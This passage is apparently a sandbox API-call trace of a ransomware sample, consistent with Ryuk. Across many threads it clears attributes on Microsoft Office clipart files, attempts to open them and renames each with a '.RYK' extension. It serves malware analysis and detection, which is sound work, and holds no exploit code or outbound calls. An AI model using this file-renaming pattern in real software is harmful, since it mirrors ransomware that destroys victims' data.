	[0233.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.764] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1431
	os_tid = 0x1c60

	[0233.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF", dwFileAttributes=0x80) returned 0
	[0233.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.762] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1432
	os_tid = 0x1c64

	[0233.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF", dwFileAttributes=0x80) returned 0
	[0233.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1433
	os_tid = 0x1c68

	[0233.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF", dwFileAttributes=0x80) returned 0
	[0233.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1434
	os_tid = 0x1c6c

	[0233.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF", dwFileAttributes=0x80) returned 0
	[0233.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1435
	os_tid = 0x1c70

	[0233.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF", dwFileAttributes=0x80) returned 0
	[0233.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1436
	os_tid = 0x1c74

	[0233.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF", dwFileAttributes=0x80) returned 0
	[0233.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1437
	os_tid = 0x1c78

	[0233.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF", dwFileAttributes=0x80) returned 0
	[0233.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1438
	os_tid = 0x1c7c

	[0233.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF", dwFileAttributes=0x80) returned 0
	[0233.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1439
	os_tid = 0x1c80

	[0233.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF", dwFileAttributes=0x80) returned 0
	[0233.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1440
	os_tid = 0x1c84

	[0233.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF", dwFileAttributes=0x80) returned 0
	[0233.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1441
	os_tid = 0x1c88

	[0233.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", dwFileAttributes=0x80) returned 0
	[0233.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1442
	os_tid = 0x1c8c

	[0233.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", dwFileAttributes=0x80) returned 0
	[0233.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1443
	os_tid = 0x1c90

	[0233.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", dwFileAttributes=0x80) returned 0
	[0233.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.714] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1444
	os_tid = 0x1c94

	[0233.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", dwFileAttributes=0x80) returned 0
	[0233.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.716] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1445
	os_tid = 0x1c98

	[0233.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", dwFileAttributes=0x80) returned 0
	[0233.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.718] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1446
	os_tid = 0x1c9c

	[0233.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", dwFileAttributes=0x80) returned 0
	[0233.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1447
	os_tid = 0x1ca0

	[0233.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", dwFileAttributes=0x80) returned 0
	[0233.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.028] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1448
	os_tid = 0x1ca4

	[0233.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", dwFileAttributes=0x80) returned 0
	[0233.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1449
	os_tid = 0x1ca8

	[0233.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", dwFileAttributes=0x80) returned 0
	[0233.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1450
	os_tid = 0x1cac

	[0233.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", dwFileAttributes=0x80) returned 0
	[0233.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1451
	os_tid = 0x1cb4

	[0233.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", dwFileAttributes=0x80) returned 0
	[0233.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.013] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1452
	os_tid = 0x1cb8

	[0233.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", dwFileAttributes=0x80) returned 0
	[0233.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.015] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1453
	os_tid = 0x1cbc

	[0233.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF", dwFileAttributes=0x80) returned 0
	[0233.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.896] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1454
	os_tid = 0x1cc0

	[0233.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF", dwFileAttributes=0x80) returned 0
	[0233.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1455
	os_tid = 0x1cc4

	[0233.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF", dwFileAttributes=0x80) returned 0
	[0233.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.018] CloseHandle (hObject=0xffffffffffffffff) returned 0
